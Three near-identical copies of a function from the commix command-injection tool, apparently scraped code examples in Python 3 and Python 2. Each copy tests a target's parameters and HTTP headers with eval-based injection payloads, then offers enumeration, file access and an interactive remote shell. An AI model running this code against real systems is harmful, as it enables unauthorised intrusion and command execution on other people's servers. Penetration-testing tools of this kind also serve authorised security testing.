Example #1
0
def eb_injection_handler(url, timesec, filename, http_request_method):
  shell = False
  counter = 1
  vp_flag = True
  no_result = True
  export_injection_info = False
  injection_type = "results-based dynamic code evaluation"
  technique = "dynamic code evaluation technique"

  for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
    settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
  settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

  if not settings.LOAD_SESSION:
    url = eb_injector.warning_detection(url, http_request_method)
    info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()
    if settings.VERBOSITY_LEVEL >= 1:
      print("")
          
  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
  for whitespace in settings.WHITESPACE:
    for prefix in settings.EVAL_PREFIXES:
      for suffix in settings.EVAL_SUFFIXES:
        for separator in settings.EVAL_SEPARATORS:
          if whitespace == " ":
            whitespace = _urllib.parse.quote(whitespace) 
          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
            try:
              settings.EVAL_BASED_STATE = True
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print(settings.print_critical_msg(err_msg))
              raise SystemExit()

          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, timesec, filename, http_request_method)
            
          if not settings.LOAD_SESSION:
            i = i + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            # Change TAG on every request to prevent false-positive results.
            TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))

            randv1 = random.randrange(100)
            randv2 = random.randrange(100)
            randvcalc = randv1 + randv2

            # Define alter shell
            alter_shell = menu.options.alter_shell

            try:
              if alter_shell:
                # Classic -alter shell- decision payload (check if host is vulnerable).
                payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
              else:
                # Classic decision payload (check if host is vulnerable).
                payload = eb_payloads.decision(separator, TAG, randv1, randv2)

              suffix = _urllib.parse.quote(suffix)
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Fixation for specific payload.
              if ")%3B" + _urllib.parse.quote(")}") in payload:
                payload = payload.replace(")%3B" + _urllib.parse.quote(")}"), ")" + _urllib.parse.quote(")}"))
                #payload = payload + TAG + ""

              # Whitespace fixation
              payload = payload.replace(" ", whitespace)
              
              # Perform payload modification
              payload = checks.perform_payload_modification(payload)

              if not settings.TAMPER_SCRIPTS['base64encode'] and \
                   not settings.TAMPER_SCRIPTS['hexencode']:
                payload = payload.replace(" ", "%20")

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL == 1:
                print(settings.print_payload(payload))
              elif settings.VERBOSITY_LEVEL > 1:
                info_msg = "Generating payload for the injection..."
                print(settings.print_info_msg(info_msg))
                print(settings.print_payload(payload)) 

              # Cookie header injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie header injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent HTTP header injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent HTTP header injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer HTTP header injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer HTTP header injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = eb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Host HTTP header injection
              elif settings.HOST_INJECTION == True:
                # Check if target host is vulnerable to host HTTP header injection.
                vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                response = eb_injector.host_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom HTTP header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                found_cookie_injection = False
                # Check if target host is vulnerable.
                response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
      
              # Try target page reload (if it is required).
              if settings.URL_RELOAD:
                response = requests.url_reload(url, timesec)
              # Evaluate test results.
              shell = eb_injector.injection_test_results(response, TAG, randvcalc)
              time.sleep(timesec)

              if not settings.VERBOSITY_LEVEL >= 1:
                percent = ((i*100)/total)
                float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))

                if shell == False:
                  info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + float_percent + "%" + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                  sys.stdout.flush()

                if str(float_percent) == "100.0":
                  if no_result == True:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  else:
                    percent = str(float_percent)+ "%"
                elif len(shell) != 0:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                else:
                  percent = str(float_percent)+ "%"

                info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                sys.stdout.flush()
                
            except KeyboardInterrupt: 
              raise

            except SystemExit: 
              raise
              
            except EOFError:
              err_msg = "Exiting, due to EOFError."
              print(settings.print_error_msg(err_msg))
              raise

            except:
              continue
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False
            # Check injection state
            settings.DETECTION_PHASE = False
            settings.EXPLOITATION_PHASE = True
            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.HOST_INJECTION == True: 
              header_name = " Host"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:    
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'"

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              if not settings.VERBOSITY_LEVEL >= 1:
                print("")
              else:
                checks.total_of_requests()

            # Print the findings to terminal.
            success_msg = "The"
            if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
              success_msg += " " + http_request_method 
            success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print(settings.print_success_msg(success_msg))
            print(settings.SUB_CONTENT_SIGN  + str(checks.url_decode(payload)) + Style.RESET_ALL)
            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False 
              
            # Check for any enumeration options.
            new_line = True
            if settings.ENUMERATION_DONE == True :
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to enumerate again? [Y/n] > "
                  enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
                else:
                  enumerate_again = ""  
                if len(enumerate_again) == 0:
                  enumerate_again = "y"
                if enumerate_again in settings.CHOICE_YES:
                  eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  # print("")
                  break
                elif enumerate_again in settings.CHOICE_NO:
                  new_line = False
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print(settings.print_error_msg(err_msg))
                  pass
            else:
              if menu.enumeration_options():
                eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
            
            if not menu.file_access_options() and not menu.options.os_cmd and new_line:
              print("")

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print("")
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to access files again? [Y/n] > "
                  file_access_again = _input(settings.print_question_msg(question_msg))
                else:
                  file_access_again = ""
                if len(file_access_again) == 0:
                   file_access_again = "y"
                if file_access_again in settings.CHOICE_YES:
                  eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  print("")
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + file_access_again  + "' is not a valid answer."
                  print(settings.print_error_msg(err_msg))
                  pass
            else:
              if menu.file_access_options():
                # if not menu.enumeration_options():
                #   print("")
                eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                print("")

            # Check if defined single cmd.
            if menu.options.os_cmd:
              # if not menu.file_access_options():
              #   print("")
              eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)

            # Pseudo-Terminal shell
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break
              if not menu.options.batch:
                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                gotshell = _input(settings.print_question_msg(question_msg))
              else:
                gotshell = ""
              if len(gotshell) == 0:
                 gotshell = "y"
              if gotshell in settings.CHOICE_YES:
                if not menu.options.batch:
                  print("")
                print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
                      if go_back and go_back_again == False:
                        break
                      if go_back and go_back_again:
                        return True 
                    else:
                      # The main command injection exploitation.
                      time.sleep(timesec)
                      response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                      # Try target page reload (if it is required).
                      if settings.URL_RELOAD:
                        response = requests.url_reload(url, timesec)
                      if menu.options.ignore_session or\
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Evaluate injection results.
                        shell = eb_injector.injection_results(response, TAG, cmd)
                        shell = "".join(str(p) for p in shell).replace(" ", "", 1)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)

                      if shell != "":
                        shell = "".join(str(p) for p in shell)
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, shell)
                        print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
                      else:
                        if settings.VERBOSITY_LEVEL >= 1:
                          print("")
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print(settings.print_critical_msg(err_msg) + "\n")
                    
                  except KeyboardInterrupt: 
                    raise

                  except SystemExit: 
                    raise
                    
                  except EOFError:
                    err_msg = "Exiting, due to EOFError."
                    print(settings.print_error_msg(err_msg))
                    raise

              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True  

              elif gotshell in settings.CHOICE_QUIT:
                raise SystemExit()

              else:
                err_msg = "'" + gotshell + "' is not a valid answer."  
                print(settings.print_error_msg(err_msg))
                pass
              
              
  if no_result == True:
    if settings.VERBOSITY_LEVEL == 0:
      print("")
    return False
  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Example #2
0
def eb_injection_handler(url, timesec, filename, http_request_method):
  shell = False
  counter = 1
  vp_flag = True
  no_result = True
  export_injection_info = False
  injection_type = "results-based dynamic code evaluation"
  technique = "dynamic code evaluation technique"

  for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
    settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
  settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

  if not settings.LOAD_SESSION:
    url = eb_injector.warning_detection(url, http_request_method)
    info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()
    if settings.VERBOSITY_LEVEL >= 1:
      print ""
          
  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
  for whitespace in settings.WHITESPACE:
    for prefix in settings.EVAL_PREFIXES:
      for suffix in settings.EVAL_SUFFIXES:
        for separator in settings.EVAL_SEPARATORS:
          if whitespace == " ":
            whitespace = urllib.quote(whitespace) 
          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
            try:
              settings.EVAL_BASED_STATE = True
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print settings.print_critical_msg(err_msg)
              raise SystemExit()

          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, timesec, filename, http_request_method)
            
          if not settings.LOAD_SESSION:
            i = i + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            # Change TAG on every request to prevent false-positive results.
            TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))

            randv1 = random.randrange(100)
            randv2 = random.randrange(100)
            randvcalc = randv1 + randv2

            # Define alter shell
            alter_shell = menu.options.alter_shell

            try:
              if alter_shell:
                # Classic -alter shell- decision payload (check if host is vulnerable).
                payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
              else:
                # Classic decision payload (check if host is vulnerable).
                payload = eb_payloads.decision(separator, TAG, randv1, randv2)

              suffix = urllib.quote(suffix)
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Fixation for specific payload.
              if ")%3B" + urllib.quote(")}") in payload:
                payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}"))
                #payload = payload + TAG + ""

              # Whitespace fixation
              payload = payload.replace(" ", whitespace)
              
              # Perform payload modification
              payload = checks.perform_payload_modification(payload)

              if not settings.TAMPER_SCRIPTS['base64encode'] and \
                   not settings.TAMPER_SCRIPTS['hexencode']:
                payload = payload.replace(" ", "%20")

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL == 1:
                print settings.print_payload(payload)
              elif settings.VERBOSITY_LEVEL > 1:
                info_msg = "Generating a payload for injection..."
                print settings.print_info_msg(info_msg)
                print settings.print_payload(payload) 

              # Cookie header injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie header injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent HTTP header injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent HTTP header injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer HTTP header injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer HTTP header injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = eb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Host HTTP header injection
              elif settings.HOST_INJECTION == True:
                # Check if target host is vulnerable to host HTTP header injection.
                vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                response = eb_injector.host_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom HTTP header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                found_cookie_injection = False
                # Check if target host is vulnerable.
                response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
      
              # Try target page reload (if it is required).
              if settings.URL_RELOAD:
                response = requests.url_reload(url, timesec)
              # Evaluate test results.
              shell = eb_injector.injection_test_results(response, TAG, randvcalc)
              time.sleep(timesec)

              if not settings.VERBOSITY_LEVEL >= 1:
                percent = ((i*100)/total)
                float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))

                if shell == False:
                  info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + float_percent + "%" + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                  sys.stdout.flush()

                if str(float_percent) == "100.0":
                  if no_result == True:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  else:
                    percent = str(float_percent)+ "%"
                elif len(shell) != 0:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                else:
                  percent = str(float_percent)+ "%"

                info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                sys.stdout.flush()
                
            except KeyboardInterrupt: 
              raise

            except SystemExit: 
              raise
              
            except EOFError:
              err_msg = "Exiting, due to EOFError."
              print settings.print_error_msg(err_msg)
              raise

            except:
              continue
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False
            # Check injection state
            settings.DETECTION_PHASE = False
            settings.EXPLOITATION_PHASE = True
            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.HOST_INJECTION == True: 
              header_name = " Host"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:    
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'"

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              if not settings.VERBOSITY_LEVEL >= 1:
                print ""
              else:
                checks.total_of_requests()

            # Print the findings to terminal.
            success_msg = "The"
            if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
              success_msg += " " + http_request_method 
            success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print settings.print_success_msg(success_msg)
            print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL
            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False 
              
            # Check for any enumeration options.
            new_line = True
            if settings.ENUMERATION_DONE == True :
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to enumerate again? [Y/n] > "
                  enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                else:
                  enumerate_again = ""  
                if len(enumerate_again) == 0:
                  enumerate_again = "y"
                if enumerate_again in settings.CHOICE_YES:
                  eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  # print ""
                  break
                elif enumerate_again in settings.CHOICE_NO:
                  new_line = False
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.enumeration_options():
                eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
            
            if not menu.file_access_options() and not menu.options.os_cmd and new_line:
              print ""

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print ""
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to access files again? [Y/n] > "
                  sys.stdout.write(settings.print_question_msg(question_msg))
                  file_access_again = sys.stdin.readline().replace("\n","").lower()
                else:
                  file_access_again = ""
                if len(file_access_again) == 0:
                   file_access_again = "y"
                if file_access_again in settings.CHOICE_YES:
                  eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  print ""
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + file_access_again  + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.file_access_options():
                # if not menu.enumeration_options():
                #   print ""
                eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                print ""

            # Check if defined single cmd.
            if menu.options.os_cmd:
              # if not menu.file_access_options():
              #   print ""
              eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)

            # Pseudo-Terminal shell
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break
              if not menu.options.batch:
                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                sys.stdout.write(settings.print_question_msg(question_msg)) 
                gotshell = sys.stdin.readline().replace("\n","").lower()
              else:
                gotshell = ""
              if len(gotshell) == 0:
                 gotshell = "y"
              if gotshell in settings.CHOICE_YES:
                if not menu.options.batch:
                  print ""
                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
                      if go_back and go_back_again == False:
                        break
                      if go_back and go_back_again:
                        return True 
                    else:
                      # The main command injection exploitation.
                      time.sleep(timesec)
                      response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                      # Try target page reload (if it is required).
                      if settings.URL_RELOAD:
                        response = requests.url_reload(url, timesec)
                      if menu.options.ignore_session or\
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Evaluate injection results.
                        shell = eb_injector.injection_results(response, TAG, cmd)
                        shell = "".join(str(p) for p in shell).replace(" ", "", 1)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)

                      if shell != "":
                        shell = "".join(str(p) for p in shell)
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, shell)
                        print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                      else:
                        if settings.VERBOSITY_LEVEL >= 1:
                          print ""
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print settings.print_critical_msg(err_msg) + "\n"
                    
                  except KeyboardInterrupt: 
                    raise

                  except SystemExit: 
                    raise
                    
                  except EOFError:
                    err_msg = "Exiting, due to EOFError."
                    print settings.print_error_msg(err_msg)
                    raise

              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True  

              elif gotshell in settings.CHOICE_QUIT:
                raise SystemExit()

              else:
                err_msg = "'" + gotshell + "' is not a valid answer."  
                print settings.print_error_msg(err_msg)
                pass
              
              
  if no_result == True:
    if settings.VERBOSITY_LEVEL == 0:
      print ""
    return False
  else :
    sys.stdout.write("\r")
    sys.stdout.flush()